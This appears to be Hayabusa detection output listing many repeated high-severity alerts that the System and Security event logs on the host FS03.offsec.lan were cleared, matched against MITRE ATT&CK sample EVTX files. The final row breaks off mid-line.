logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.418 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.480 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.527 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.574 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.591 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.606 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.638 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.653 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.669 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.747 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.778 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.794 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.841 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.856 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.888 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.903 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.950 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.997 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.028 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.044 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.059 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.075 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.106 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.138 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.184 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.200 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.216 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.231 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.263 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.294 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.309 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.325 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.341 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.356 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.403 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.419 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.434 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.450 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.481 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.481 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.497 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.528 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.747 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.763 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.778 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.794 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.809 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.856 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.934 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.997 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.028 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.091 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.106 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.184 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.200 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.216 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.247 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.341 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.388 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.403 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.450 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.559 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.575 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.622 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.700 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.747 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.778 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.825 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.841 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.856 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.872 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.888 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.903 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.997 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:12.059 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:12.075 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:12.106 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:12.153 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:12.184 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:12.247 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:21:02.504 +09:00,FS03.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1016-System Network Configuration Discovery/ID4688-Audit policy enumerated.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event 